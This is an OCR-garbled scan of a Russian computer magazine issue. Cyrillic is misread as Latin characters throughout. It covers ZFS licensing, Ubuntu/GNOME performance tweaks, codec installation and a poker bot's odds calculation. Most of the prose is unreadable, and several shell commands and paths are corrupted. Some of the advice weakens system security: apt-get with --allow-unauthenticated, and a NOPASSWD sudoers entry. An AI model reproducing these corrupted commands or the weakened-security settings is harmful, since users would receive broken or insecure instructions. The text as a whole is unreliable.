no cnosaM asropa Ceph, HaY160nee Ba>KHOe ,D,OCTOY1HCTBO ero CDC 3aKnlOyaeTCs:I 8 n0J1HOCTblOaBTOMaTII13I11p08aHHOM MeXaHII13Me pefianauCVlPOBKII1l-1 MVlrpaLJ,V1l-1 nplo1 MaCWTa6111posaHVIVI OT He6oflbworo <r.acrepa. cocrosuiero 1013 HeCKOflbKlIIX Y3flOB. no xnacrepa KOpnopaTV1BHblX MaCWTa- 60B, 8 KOTOPOM Y4aCT8YlOT HeCKonbKO COTeH Y3flOB. 3TOT npou,ecc rpebyer MII1HV1MaflbHoro BMewaTenbCTsa ap,MVlHII1CTpaTOpa, HOBbie Y3nbl MOryT 6blTb nop,KnlO4eHbl K «nacrepy, l-1 ace 6yp,eT «npOCTO pafioran,».

4TOTAM CZFS?

Ha cerop,Hs:lWHV1~·,lJ.eHb ZFS OCTaeTCs:I caMO~ npop,8V1Hyro~ ¢a~J10BO~ 01(TeMOVl, auanoros KOTOpO~ HeT He TOJ1bKO B Mlo1pe Open Source, HO V1 8 cpep,e KOMMep4ecKoro no. OHa 6blCTpa, HaAe>KHa, IIIMeeT6oraTbl~ ¢YHKu,VlOHan

VI HeBepOs:lTHO npocra B ap,MVlHVlCTplllpOBaHIIIl-1.V13HayaJ1bHO C03,1J,aHHas:! KOMnaHVle~ Sun Microsystems [npV1BeT Oraclel p,ns:! onepaunoa-roti CIo1CTeMbl Solaris Y1 aHOHClI1pOSaHHaSi B 2005 rony. OHa cpasy crane naKOMblM KYC04KOM p,nSi nor ssoaarer eu a pa3pa6oT4V1KOB upyrax OnepaLJ,V10HHb1X CVlCTeM. O,D,HaKO nanexo He sceM 1-13 HViX ynanocs n04YBCTBosaTb ee SKyC.

nepBblMY1 npeTeHp,eHTaMY1 Ha BKfllOyeHY1e KO,lJ,a ZFS B CBOIO OC crann. KOHe4HO xe. IlVlHYKCOIIIP,bl, rorosue Taw,V1Tb 8 snpo see. 4TO He npVlBV1H4eHO 60flTaMY1. Ho cy,lJ,b5a [pOJ1b KOTOPOlll, cxopee scero, csirpana casta Sun]

XAKEP os /137/10

pacnopanunacs Io1Ha4e. Ko,lJ, ZFS, KaK!Ii Bce~ onepauaouuof CIllCTeMbl OpenSolaris, oxasanca aauuuueu flll1u,eH3V1elll COOL, «oropas HaKnap,blsaer cepbe3Hbie orpaHlIl4eHIo1s:1 Ha era IIlcnOflb30BaHVle 111, fionee Taro, COBepweHHO HeCOBMeCTIllMa cfllllu,eH3Io1e~ GPLv2, IIlcnoflb3yeMoil1 Si,lJ,POM Linux. CDaKTVl4eCK!Il 3TO 03Ha4aeT. YTO eCTb TOIlbKO TpV1 nyrV1 SKflI04eHVls:! ZFS B s:!,D,pO:

HeneraflbHbl~, KOTOPbl~ BKfl104aeT B cetis nepeucc ZFS 6e3 co6fllOp,eH!Ils:! 3aKOHa 05 aSTopcKOM npaae. IOMopVlcn14ecKIIl~, npVl KOTOPOM KO,lJ, Linux nuueusupyerca non COOL, Y1 n1TaHlllyeCKV1~, xorria orpovuaa KO,lJ,Osas:! 5a3a ZFS nepenncueaercs non GPL,,n,a ew,e 1:1 C 06XO,lJ,OM Sun'oscknx naTeHTOB. B o6w,eM - He KOMl-1flb¢O, n03TOMY ep,VlHCTBeHHbl~ cnocof 3ap,e~cT80BaTb ZFS B Linux - 3TO ncnonsaoaers ee nOpT Ha luse [hltp:Uzls-luse.nell. crpa,lJ,afOw,l-1~ 5araMV1 VI H!I13KOIII np0V13BO,lJ,II1TeflbHoCTbfO, «oropas B CV1IlY apXY1TeKryPHblX ocobeuuocren ZFS SpH,lJ.nY1 CMO>KeT nOBbICY1TbCs:I 6e3 nepeuoca XOTI=! 5bl 4aCTVI xona B snpo. KOMnaHVlI=! Apple TaK>Ke nnaauooaana SHe,lJ,peHVle ZFS B Mac OS X III ,lJ,a>Ke ycnena sblnycTIIITb 3KcnepVlMeHTaflbHbl~ ,lJ,pa~sep V1 BHeAP"Tb nOAAep>KKY 4TeH"" ZFS B BepC"1O 10.5 Leopard, OAHaKO B OKT"6pe 2009 rona npoexr 3aKpblnY16e3 o6bs:!cHeHY1H npY14It1H. Y4lt1Tblsas:! TO, 4TO flY1u,eH3I1lR BSD, nokpueaiouiaa KOp, s:lApa Mac OS X, nosacnana 5e3 npofine» nepeuecra ZFS B OC aT Apple c MV1HIIIManbHbIMI-13aTpaTaMII1, TaKO(;i nocryno« MO>KHO 05bRCHltlTbnl-160 ,lJ,aBneHl-leM co CTOPOHbl Sun, flY150 rn06anbHblMVI Vl3MeHeHI-1SiMY1BnnaHaxcaMo~Apple

B anpene 2007 rona [laeen ,iKy6 /1aB"AeK 3aKOH4"n nopruooeauve ZFS

B FreeBSD. Ha npOTs:I>KeHI-1V1 ,lJ,ByX ner KOp, 6bln nOMe4eH KaK 3KCnep1-1MeHTanbHbl~, HO nocne IIlcnpaSneHVlI=! psna npofineu pa3pa6oT4Y1K 06bs:lSV1n 0 cTa6Y1IlVl3aLJ,Y1V1 nopra, 11115 OKTs:l6ps:l npownoro rona FreeBSD crane nepacu OC nocr e Solaris, rOTOBO~ K npoMblwneHHo~ 3KcnnyaTau,Y1V1 ZFS. no COCTOs:!HI-1IO Ha 11 smsaps:! 2010 rona BOCbMaR BeTKa FreeBSD nOflHOCTblO nOAAep>K"BaeTZpool v14 [TeKYl11a" BepC"" ZFS B OpenSolaris: zpool v16). Pa60Ta no nOAAep>KKe ZFS senacs a pa3pa60T4"KaM" NetBSD. B pavxax ripoexra Google Summer of Code 2007 6bln npencrasnea Ha4anbHblf1 [HO Hepa6oTalOw,VI~1 nopr ¢aVlJlOBO~ CV1CTeMbl. Pa60Ta no p,OBep,eHV11O KO,lJ,a,lJ,O YMa npononxunaci, Ka" 4acTbSummer 01 Code 2009," B a srycre 2009 rona nOAAep>KKa ZFS 6blna A06aBneHa B pen03"TOP"f1 NetBSD.

Heoonsuras 4aCTb KOAa ZFS orxpsrra nOA GPL, 6naroAap" 4eMYYAanocb !IlHTerpVlpoBaTb ero B 3arpy341!lK GRUB, I<OTOPblW reneps YMeeT BblnOflH$1Tb 3arpy3KYc ZFS-pa3Aena.X

~ 081

OTKJ1IOLfEH~E COMPIZ

Compiz -KOMn03V1THbl~ MeHe,o,>Kep OKOH p,n$'! X Window System, "CnO"b3YID1l1"" OpenGL A"" YCKopeH"" 3D-cpaep"K". OH npenccraanser MHO>KeCTBO HOBblX rpa¢V14ecKV1x 3¢¢eKTOB, AOcrynaux B nt06blX cpe,o,ax pabo-rero cror a. B TOM ""c"e GNOME" KDE. Ec"" YTe6" YCTaHoBMHbl p,paC1sepa Ans:! BIr1AeOKapTbl, TO, cxopee acero. MeHeA>Kep BKm04eH. nOMHII1, LlTO BVlAeOKapTa c Compiz, BKnlO4eHHbiM B pe>KII1Me «npOt.13BO)J,lt1- TenbHOCTb no sanpocy». nOCTO~HHO pafioraer

Ha noru-yo HarpY3KY VI He C06t.1paeTCs:I cfiaamHb 060pOTbi seHTV1mnopa. Ecnil1 X04eWb OT Bt.1p,eOKapTbl TVlWItlHbl wnV1 Sepexeu.t, KV1nosaTTbl, cOBeTYID ynpocrwre 3epepeKTbi Campiz """ OTKflIOY\;1Tb era (DBceM. B nepsov cny-tae Hy>KHO YCTaHOBVlTb naker cornpizconfq-settinqs-

ma nager 4epe3 CV1 Ha nru« \IIJl V1 B TepMVl uar e CKOMaHp,osaTb:

~ 082

$ sudo aptitude install compizconfig-settings-manager

YTo6bl nonY4V1TbAoCTyn K B03MO>KHOCH!M Compiz (;1 ynpOCT(;1Tb ?¢¢eKTbl no caoeuy sKyey, npOXO,Ll,IIIM no MapwpyTy MeHID -7 C"CTeMa -7 napaMeTpbl -7 MeHeA)f(ep HaCTpO"K" Compiz Config. Ec"" xenaeuis npocro OTKnKJ4111Tb Compiz, TO 3TO MO>KHO cnenars -repes nyHKT MeHIO ~ CIIICTeMa ~ napaMeTpbl ~ BHeWHVI~ BVlA, B aaxnanxe «BHeWHIII~ BIII,Ll,» B:,ICTaBIII «6e3 3¢¢eKTOS».

YMEHbWEH~E 3AAEP>KEK GTK

B Ubuntu pa60ye" cpeAO" "BneeTC" Gnome, rne Sa>KHYIO pens urpaer GTK. V13MeH>i~ HaCTpO~I«(;1 aroro ry.ucvrra. MbIBJlIl1S1eM Ha ace npIIIJlO>KeHVlS1, (;1CnOJlb3ytoUJ,l-1e era. n pennarao nO,Ll,KpYT(;1Tb naperae-p a. OTBe4alOUJ,l-1e aa 3a,o,ep>KKI-1:

$ gedit -/.gtkrc-2.0

*## MIII.HMManbHoe a pe xa B MJlfrrnM.ceKYH~ax, B TeqeHMe KOToporo

y x a a a'r ems )lOJDKeH OCTdSdTbC.T! »e rrYHKTe MeHIO rte p e.n nOHBJIeHl1eM nO,lJ;MeHIO

gtk-menu-popup-delay = a

### BpeMH B MMnnI1CeKYHp,ax n e p e n CKpblT11eM rtom-re ao • x o r-na YKa3aTeJIb nepexeuae-rc.a a a nO,QMeHIO gtk-menu-popdown-delay = 0

it # # Sencpaxe B MMJIJIVICeKYH,IlaX rte'pen nOHBneHVIeM nO,lJ;MeHKJ nocrre nanena MeHiO gtk-menu-bar-popup-delay = 0

IOBEJ1~PHAfi HACTPOHKA GNOME

B Gnome HaCTpot;iKI-1 xpauarcs no aHa.nor(;11r1 c peecrpor- MS Windows, CTOVI JlIIIWb pa3HiI1LJ,eVl,

XAKEP 06/137/10

Onn-1MVl3AUVl51 XML

B CTPYKryp"pOBaHHbIX q,a"nax XML MHOr"e npOrpaMMbl B Ubuntu XpaH"T H2CTPOVlKlI1 V1 p,aHHble. ECTb B03MO>KHOCTb npeofipaaoaar s XML 1113 «4I.1Ta- 6enbHOrO» q,OpMaTa, nOH"THOrO yenOBeKY, B q,OpMaT, YA06Hbl';; KOMnblOrepy, npe06pa30SaHHbie XM L -¢aVinbl 6blCTpee 3arpY>K2IOTC)=Il;1 3aHV1MaIOT MeHbWe 03Y. B TaKOM npeofipaaoea-u-« nouoryr CKpVlnTbl, «oropue MO>KHO eKa4aTb no anpecy: www,gnomefiles.orgiapp,php?soft Id=1397. PacnakoBblBaeM nonyyeHHbl';; apxua ldesktop-optirnizations.tar.qzl a no 04epeA" sanyckaeu CKpll1nTbi OT 06b14HO~ Y4eTHoVi 3am1Cl!I:

1, rhythmbox-quiekstart OnT"MI<3"pyer q,a';;nbl MY3blKanbHoro noovrcusaTen" Rhythmbox;

2. evolution-optimize onnlMiI13l11pyeT cpaVinbl nOYTOBOtll nporpaMMbl Evolution;

3. gnome-optimize onTlIIMlI13l11pyeTcpaillnbi Gnome;

4, openoffiee-optimize OnT"M"3"pyer q,a';;nbl ooncuoro naxera OpenOffiee. org;

5, doc-optimize OnT"M"3"pyerq,a';;nbl nOMOll1" Gnome;

6, geonf-optimize OnT"M"3"pyerq,aHnbl KOHq,"rypa~"H Gnome [«peeerp» Gnomel

Ecnlll B ClI1CTeMe HeCKonbKO aKKaYHTOB, TO cxpurrru rhythmbox-quickstart

1. YKa>t<eM Metacity He lIIcnOJlb30SaTb aHlIIMaLJ,lI10HHble 3¢cpeKTbl, CH1I13li1B TeM V1 gconf-optimize Hy>KHO 3anYCK2Tb or Ka>KAOIl1 yLjeTHO~ aanuca. Hlt14erO

caMblM norpefineune pecypcOB: crpaun+oro He np0lt130V!p,eT, eClllt1 TbI3anYCTlt1Wb ckpwtru HeCKOllbKO pa3-

onru M VI aa LJ,lt1S:! «yxe OnTlt1Mlt13lt1POB3HHoro» He paapyururensua. >KenaTenbHO $ gconftool-2 - -type bool - -set / apps/metaci ty /general/ nepe3a~TV1 B CII1CTeMY nocne OnT~1Mlt13aLJ,lt1V1 XM L)J,ns:! roro, 4T06bl Vl3MeHeHVlS1

0. CneUI,allbHble B03MOl-KHOCH'

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\ ~~~:~:~:~~HX~;~~~: T~:~~~~~:R::W:Y

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BIo1D.&OKapTa.

Pena ~TOp KOHcpvn-ypauvH1 Gnome

4TO «peecrp» Gnome - :310 XML -¢a~nbl. ,D.ocryn K HViM MO>KHO ncny-urr» -repes penaxrop KOHq,"rypa~"" geonf-editor "n" -repes 8bl30B KOMaHl1bl gconftool-2. YTo6bl YCKOPVlTb speMS1 OTKm'lKa «peecrpa», npennpn Mel'vl

Ecnu Y Te6S1 YCTaHoBneH pe>Klt1M, npV1 KOTOPOM 80 BpeMS1 HaBe,n,eHVlT! MbIWlt1 Ha OKHO orxpsrroro nplt111O>KeHVlfl nocnenuee BbIABlIIraeTCs:! Ha nepep,HV1~ nnau, TO MO>KHO nOTBVlKaTb napaverp auto_raise_delay, KOHTpOJll'lpylOW,lt1~ sanepxxy Me>KAY HaBeAeHV1eM MbIWIIIlt1 Bblp,Blt1>KeHlt1eM OKHa'

$ gconftool-2 --type integer --set /apps/metacity/ general/auto_raise_delay 100

EAlt1HCTSeHHoe, 4TO Blt13yanbHo lt13MeHlt1TCS1 - nplt1 nepeueuieuua OKOH He 6YAer orofipaxarsca conepxuuoe:

2. BblKll104V1M aHIltMaLJ,1It1O BKnI04eHVlSi/BbIKnI04eHVls:! naHene~:

reduced_resources true BCTynVlnf;1 B CVllly.

Cxpunru OnTlt1MVl3I!lpYIOT KaK cpar:1nbl B AOMawHeill,n,VlpeKToplt1lt1, TaK Vl Clt1CTeMHbie cpa~Jlbl, aanpauruaaa nplt1Blt1nerlt1Vl4epe3 sudo. CKplt1nTbl nenaor peaepaaue KOnlt1l1t, HO ecnu npn AJllt1TeJlbHOJl! npoueziype OnTlt1Mlt13aLJ,lt1V1 y Te65=1lt13-3a c60s:!3J1eKTpOCeTlt1 nepeaarpyanrcs KOMnbIDTep. TO peaynsraru,

B03MO>KHO, 6YAyT HeO,D,H03Ha4Hbl V1 nna4eBHbi. Hanlt14l!1e V15n npueercray-

$ gconftool-2 --type boo 1 --set lapps/panel/globall enable_animations false

3. OTKJ1104lt1M ecnoucrarensnse rexuonorun xnaaaarypa, MblWlt1lt1 T.,IJ,., npeAHa3Ha4eHHbie AIls:! J11O,D,eill C orpaHVl4eHHblMlt1 B03MO>KHOCH1Mlt1:

$ gconftool-2 --type bool --set Idesktop/gnomel interface/accessibility false

$ gconftool-2 --type string --set lapps/panel/globall panel_animation_speedpanel-speed-fast

XAKEP 06 /137/ 10

eTCSi.

YCKOPEHVlE 3AnYCKA npOrPAMM, VlCn0J1b3YK)LU~X QT

TpaA"l1"OHHO c-nrraercs. 4TO Gnome +aro GTK, a KOE +oro Ot, HO nonssoaarerno HVl4TO He MewaeT 3anYCKaTb nporpaMMbl GTK B KDE. a ot nporpavMbl B Gnome, Ilaxe bonsuie: ABropbl Gnome" KOE MHoroe CAenan", 4T06bl «4Y>KV1e» nporpaMMbl BHeWHe BblrllS1AenVi TaK>Ke, KaK «ponuue». Cen-rac Mbl paccuorpau. KaK YCKOplt1Tb 3anYCK nporpaMM, Hanlt1CaHHbIX C ucnorn-aoaaHlt1eM Ot B Gnome. B ,lJ,et:1cTBlt1TenbHOCTlt1, Ot'wHaT! npora MO>KeT He aaaucers OT KDE, HO Vlcn0J1b30SaTb B03MU)KHUCllt1:? I o~ cpenu. AnSi sroro npn crapre OHa ,lJ,On)KHa nonYYV1Tb «M\I1HVlMaJlbHbl~ Ha60p KDE». KaK Y3HaTb, KaKlt1e nporpaMMbl 3aB"C"T or KOE? B TepM"Hane l1aeM KOMaHI1Y:

_.wgucharmap !'-IgWd

t> ff.lgwibber

Iii tagnc

t.)llldicator.sessloll I> ...Jliferea !Qmalljolle!

~workspace_llames

Ilautllus

~nautilus·actlOIlS

....I NelWor\(MallaierApplet

nm.acoret

7,MnotificatiOn.daemon

Sans Bold 10 ~titiebar_uses_system_fOn\ 0

OnMcaHMeKllIO'Ia

/apps/metaclty/general/reduced_resources

eneneneu KI1IO'Ia: metacity

EcnIll3TOTKflIO'IycTaHOBneH.ToMetacity

Kparxoe onacanae: acnoneaver MeHbwe CIilCTeMHblX pecYPCOB aa

ever nOHIoI)!(BHHoro yD,OOCTBa B IoIcnOnb30BaHIIIIII.

nO£IP06HOe onacaaae: If true. metacny wllll!lve the user less feedback by using

wireframes. avoiding animaUons. or other means. This is a significant reduction In usability for many users. but may anow legacy applications to contlnuBwor\(ing. and may also be a

"'" .. '"I .. """"ff'''' ... ''''ln<>io .. ''.,''''I,I''''''''''<''.h''' .... I,,,',,,.,''''

~ info

• n poeepurs

creneus 0T3bIB4l<1- BOCH1l<1HTepq,eillca n03BOn"T GTKPerf: linux~~o~lpedia. ~progDownlQacjj illkPMfDownload-6715.htm!

·npl<1MeH51i:1 COBeTbl no 0AHOMY, Ka>K,D,bli1t pas xenarensuo nepeaarpyxars Cl<1CTeMY. nposep51i:1 snl<151Hl<1e COBeTa BpeMeHeM, He TOpOnl<1Cb.

PenaKTOp KOHsbvn-ypauViVI Gnome

$ sudo aptitude search '-i!--nlib{-~Dqtl-~Dkde)'

Ha 3KpaH 6YAYT SblSe,D,eHbl naxersr. KOTopble YCTaHoBneHbl ['-i'J Vl3TO He 6"6n"OTeKa ll-rilibl VI B 3aB"C"MOCT"X e cr s Ot l<Dqtl VlJlVl B 3aB"C"MOCT"X ecrs KDE ['-Dkde13apaHee 3anYCKa" <'M"H"ManbHbl" Ha60p KDE" III y..o.ep>Kl<1Ba51 B naM)=!TIII COOTseTCTSYlOll.\lIIe 6l<16nIllOTeKVI,

Mbl ..o.06beMC51 YCKopeHl<151 npu crapre 3H1X nporpaMM.

TplOK BeCbMa npocr: B MeHfO 7 Cl<1CTeMa 7 napaMeTpbl

7 3anycKaeMbie npVlIlO>K8HIII51 A06aBfl51eM 3anycKaeMYfO nporpauvy /usr/bin/kdeinit nOA "MeHeM FastQt. Bce,

noc ne nepeaarpyaxn KOMnbKnepa TBOl<1 Qt-nporpaMMbl 6YAYT crapro aars 6blCTpee.

YCKOPEHIo1E 3AnYCKA npOrPAMM C nOMOLUblO PRELOAD

Preload - ,QeMOH, pabotaouma a q,OHOBOM pe>Kl<1Me, KOTOPblYl C06l<1paeT l<1Hq,opMau,VlIO 0 Hal<160Ilee 4aCTO Vlcnoflb3yeMbix nporpaMMax, K3Wl<1pyeT V1X Vll<1CnOIlb3yeMble ~1Ml<1 6l<16fll<10TeKl<1, 4TO npl<1BO,QVlT K nOBblweHV11O CKOpOCTVl3arpY3KV1 nporpavv. HY>KHO npoCTO YCTaHOBl<1Tb preload KOMaH,o,Otlt:

·Yy..o.ec He 6blBaeT. Co-

seTbl Illl160 3a,o,etltCTsy- $ sudo aptitude install preload

fOT CB060,D,HYfO naMIiTb,

Illl160 OTKnlO4a I{lT YTO- Vlnl<13anycTV1Tb CIllHanTl<1K, Ha~TVI B HeM preload VI YCTaHO-

TO ,D,Il)=! YCKopeHl<1)=!. SV1Tb ero. HaCTpOVtKl<1 preload no YMon4aHl<11O nO,D,XO,D,51T gn51 60flbwVlHCTBa nom.soearenea. n03ToMY !Il3MeH51Tb 4TO-fll<160 s cpa"ne /etc/preload.conf He Hy>KHO.

~ dvd

Ha npV1J1araeMOM

K xypxany A"CKe Tbl Hai:1,D,eWb CKpl-1nTbl optimizer.sh,sqlite_ shrink.sh

" rebu.Id jcache.sh.

~ 084

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exit 0

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XAKEP 06 /137/10

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fi done sleep 2 exit 0

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~ 087

~ links

• ru.wikipedia org/wikl/Ubuntu N@QQk_B_e_mix - wH¢OpMa~"" 0 Ubuntu Netbook Remix

• \Nww.~bunll)_._c;_o_rnL 9S'_tubu ntu/dcwn loadnelbook - CKa'-laTb Ubuntu Netbook Remix

• ~rru - ¢OPYM, nOCBI=lw,eHHbli:1 aBTOMo6111flbHbiM KOMnblO-

repav

~ 088

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XAKEP 06 /137/10

MO>KHbIM BOCnpOv13Be.o.eH~1e cpVlnbMOB VI MY3bIKVI. KaK 06b14HO, B WT3THO~ nOCT3BKe Ubuntu KO,D,eKOB HeT, n03TOMY nO,D,Knf04V1M peno Medibuntu,D,.n~ YCT3HOBKVI scero Heo6xo,D,I1MOro. OTKPO~ TepMVlHan VI Ha6epVl KOMaH)J,bl:

$ sudo wget --output-document=/etc/apt/sources .list. d/ medibuntu.list http://www.medibuntu.org!sources. list.d/$(lsb_release -cs) .list

$ s udo apt-get --quiet update

$ s udo apt-get --yes --quiet --allow-unauthenticated install medibuntu-keyring

$ sudo apt-get --quiet update

[locne 3TOI0 BBe)J,1!1 KOMaHAy,o,nS1 YCTaHoBKVl KO,D,eKOB

$ sudo apt-get install w32codecs

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$ sudo apt-get install mplayer non-free-codecs libdvdcss2 smplayer

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$ sudo cp Irnedia/CNU-680/Linux/RDEVCHG lusrllocal/bin

nocne aroro orkpsrn, /ete/sudoers:

$ sudo gedit /ete/sudoers

XAKEP 06 /137/ 10

%admin ALL=NOPASSWD: !usr/local/bin/RDEVCHG

3TWM Mbl paspeuraeu 3anYCK nporpaMMbl RDEVCHG 6e3 sanpoca napons nocne 3Toro Hy>KHO 06ecne4V1Tb, 4T06bl Mo.o.eM cnpenenancsca« MOAeM, a He KaK cpnewKa. An" aroro OTKpoii cpaiin /ete/udev/rules.d/70-persistent-ed. rules. HaiiA~ cpparMeHTTeKCTa:

ENV(ID_CDROMj=="?*", ENV(ID_SERIALj=="CMOTECH_ r1ass_Storage_000000000002-0: 0", SYMLINK+= 11 cdroml" I ENV(GENERATEDj="l" ENV{ID_CDROM}=="?*", ENV{ID_ SERIAL}=="CMOTECH_Mass_Storage_000000000002-0:0", SYMLINK+="dvdl" , ENV{GENERATEDj="l"

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XAKEP 06 /137/ 10

STATISTICS

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o>KltI,D,a Hili III , nOCeTItITb QQ1<.exai_,-o_cg - ny-nu 111 11 caCiT 0 nOKepHoM AI, a TaK>Ke nOYIt1TaTb LJ,ItIKJl CTaTe iii 0 coana H 111111 noxep-fiora Ha www. codinglh~wheel.com

~ 091

ECITM bet_cur + SB > win >= bet_cur, TO Call (HITM Check)

ECTIM win >= bet_cur + SB, TO Raise (MflM Bet) bet_cur - 3TO ace nem-r'n • xo'roptce Mbl nonoaaarnr 3a TeKy~D wrpy (HE TOITbKO 3a O~JtIH Kpyr ToproBfll1) , rrmoc 're .n;eHhrM, xo'rcpve HYlKHO cerr-rac nOCTaBViTh.

n051CHeHII151 K bet_cur·

EcnVl H3 nepsov Kpyre roprcan« Mbl nOCTaSVlnVl scero $10, a Ha STOPOM <pyre Mbl ,[\on>KHbl nOCTaSVlTb $5, 111 S 3TOT MOMeHT Mbl npVlHVlMaervl peweH"e, TO bet_cur paauo $15 (10+51

5B (Small Blindl - pa3Mep Manoro 6m"Hl\a «Inepaas CTaBKa acnenyio - npVlM. pen.I». 3TO 3H3yeHVle npVl63sn51eTc51 K bet_cur so BTOPOM ycnoBVlVl, T3K K3K Mbl MO)KeM yseJlll1YVlB3Tb CT3SKY ronsxo H3 4V1CJlO, Kp3THoe ManoMY 6n3V1H,[\Y. Cnenoaare.u.ao, ecnll1 win> bet_cur, HO npVl 3TOM win < bet_cur + S8, TO YBenVl'-!II1B3Tb CT3BKy HaM He aurorn-o. T3K KaK np.uur ocs BbICT3- B"Tb bet_cur + SB.

BB (Big Blind) - pa3Mep 6oflbllioro 6naMH)J;a.

CTOVlT T3K>Ke ,[\06aSVlTb, YTO 3Ta cpopMyna MO>KeT VlCnOJlb30SaTbC51 TOJlbKO

B KOMnblOTepHoVll:1rpe - B >KVl3HVl aa CTonOM Bp51,lJ, nVl 6YAeT B03MO>KHOCTb caMoMY Bbl4V1cnmb aeponruocrs suurpuura Vl ace 3TO C4VlTaTb. n03TOMY npVl peaJlbHOVl urpe l:1CnDJlb3yercl'I Bbl4VlCJleHVle ayros (outs) Vl or.coa locdsl. Cvu.ecreyior Ta6nVlLJ,bl ,lJ,n51 o6ner4EHVlI'I 3TVlX BbI4I11CneHII1V1, KOTopble MO>KHO HalllTVl B mo60111 KHl:1>KKe no nOKepy Vl/VlnVl B VlHTepHeTe.

05MICHEHHE ItlOPMynbl

vb 3TOVl ¢opMynbl Mbl nonY4aeM MaTeMaTVl4eCKoe O>Kl:1gaHVle BblVlrpblwa (s H3WeYl cpopMyne 3TO win]. VlHa4e roBOP51, pa3bllpblBa51 MHOro paa nrpy C TaKOVI eeposraocn,o lc TaKVlMVl >Ke KapTaMVI y Hac Ha PYK3X 111 ua crone] Vl TaKVlM 6aHKOM, Mbl nonY4l:1M TaKOW auurpuur. CneAOBaTenbHO, 4T06bl OCTaBaTbC51 S nruoce. Mbl gon>KHbl CTaBVlTb He 60nbwe 3TOro BblVlrpblwa [ua pVlCYHKe 3TO betl]. Ecnn nOCTaSVlM 60JlbWe, TO OKa>KeMC$1 B MV1Hyce - BblVirpaeM MeHbwe, 4eM 6y,[\eM CTaSI-1Tb·(Ha pVlCYHKe 3TO bet2J. CTOVlT cgenaTb 3aMeyaHl:1e K cpopMYJle - TaK KaK nckep-pyvu 6epYT KOMVlCCVlIO C Ka>K,lJ,oro 6aHKa, TO Hy>KHO pa3Mep 6aHKa YMeHbWVlTb Ha BeJlVl41-1HY 3TOW KOMVlCCVlVl. CDopMYJla C KOMVlCClI1ew6Y,lJ,eTTaKOBa:

p*pot*O,9l = win

npl1Mep pacnpeAeneHI1S1 Bbll1rpblWa npl1 60nbWOM KOnl1'1eCTBe I1rp

HO,lH1PYEM PAC4ET BEPOHTHOCHI

Ha ,[\aHHbIW MOMeHT MO>KHO HaWTIII MHO>KeCTBO 6V16JlVlOTeK ,[\n>=! pac-rera Bep051THOCTV1 SblVlrpblwa. ECTb KaK fiecnnaruste. TaK Vl nnaTHble sepcuu. A Mbl 1I1306peTeM caoYl aenocunen. n04eMY? YT06bl pa306paTbC$1 B 3TOM aonpoce geTaJlbHee 111 Vl3-3a >KenaHVl51 C,lJ,enaTb nOJlHOCTblQ cacero 60Ta. 3gecb 51 gaM KpaTKVle n051CHeHVl51 K KOAY. OH aanwcaa Ha Java l:1 cHa6>KeH AOKYMeHTaLJ,lI1eC1 B BII1,[\e JavaDoc, TaK 4TO Tbl 6e3 rpyna CMO>KeWb paso- 6paTbC51 B HeM

3aMe4aHV1$1 no Ko,.o,VlpOBaHV11O xapr:

Bcero 52 «apru = 4 MaCTVI x 13 «apr Ka>Kp,oV! MaCTl-1. MaCTb TeKyw,ew KapTbl = <nOpl1,D,KOBblC1 HOMep KapTbl>/4 (j - u,eJl04l-1CneHHOe ,[\eneHlI1eJ. ,lJ,OCTOIl1HCTBO TeKyw,eVi <apru = <nop51gKoBblV! HOMep KapTbl>%13 [%OCTaTOK OT geneHVl$1j.

Co6cTBeHHo, y Hac nonxao Sun, 10 CPYHKLJ,VlYI no onpeneneu-no KOM6V1HaLJ,1-1111. Ha30seM VlX TaK

isHighCard, isOnePair, isTwoPair, isSet, isStraight, isFlush, isFullHouse, isQuads, isStraightFlush,

PAC4ET BEPOHTHOCH1 isRoyalFlush.

EcnV1 pa3Mep 6aHKa 111 pa3Mep CTaBKV1 BenVl4V1Hbl snonHe Vl3BeCTHbl, TO

KaK Y3HaTb sep051THOCTb BblVlrpblwa? Ha 3TOT aonpoc ecrs HeCKonbKO 06bep,V1H51eT 3TVl CPYHKLJ,VlVl cnep,ylOw,ee - ua sxcne ncnaercs Ha60p <apr.

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nnlOc nepsoro MeToga - caMa>=! sblCOKal'l T04HOCTb.

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rv1V1HYCbl - npu ManOM YlIlcne payunca He 04eHb T04eH, a 60JlbWOe -uicno paYHAoB rpebyer bonsuic pecypcos npoueccopa.

~ 092

«Ha AaHHblM MOMeHT MO>KHO HaMTH MHO>KeCTBO 6H6nHOTeK NUl pacsera BepORTHOCTH BblHrpblwa. ECTb KaK 6ecnnaTHble, TaK H nnaTHble BepCHH.A Mbl H306peTeM

..

CBOH BenOCHneA»

XAKEP 06 /137/ 10

Hand: lAs ,3d
Board: 13s,Jh
Plavers: rn ProbatJility of win: 0.634 ...

Calculate

cross - f. spades - + di arnonds - • heart - .,

aT 1 AD 7. 3TO C,QenaHO Ans:! roro, YTo6bl MO>KHO 6blJlO nerxo paCClH1TaTb sepOSHHOCTlII \11 B npe-onone [KOr,Qa «apru Ha cron ew,e He nOnO>KVlJlIl1, HO pa3,Qan(;1 kapru lI1rpOKaMI. 1I1 B repue \11 pnaepe (KOfAa Ha cron nonoxun« LJeTblpe VI mlTb «apr ccc+serctse-n-ol. To eCTb reneps HaM Hy>KHO 6YAer AaTb CPYH'KlJ,V1V1 cnV1COK scex kapr, xcropue nexar Ha crone l!1 y urposa. a ¢YHKLJ,\I1fl Vl3 sroro Ha60pa «apr Bbl,ll,em1T KOM6I!1HaLl,lIIlO.

LJro6bl onn1MVl31!1pOSaTb onpeneneawe KOM6I11HaLl,ltIi:1, Mbl c,ll,enaeM cnenyouiee: 1) YnopR,ll,04I11M KOM5I11HaLJ,1II111 no y6bJBaHII11O p,OCTOlllHCTsa <apr:

21 Pa3Aem1M BxoAHO(:1 MaCOtB kapr H8 rpu: MaCCV18 C ,o,OCTOll1HCTSaMVI «apr. MaCCiI18 C M3CHIMII1 kapr III M3CCltlB C Kom14eCTBOM «apr K8>K,o,O'1i MaCTlII,

3T" Ae"CTS"" 6YAeT BblnOnH"Tb ¢YHK~"" sortHand [eM. spe3KY!.

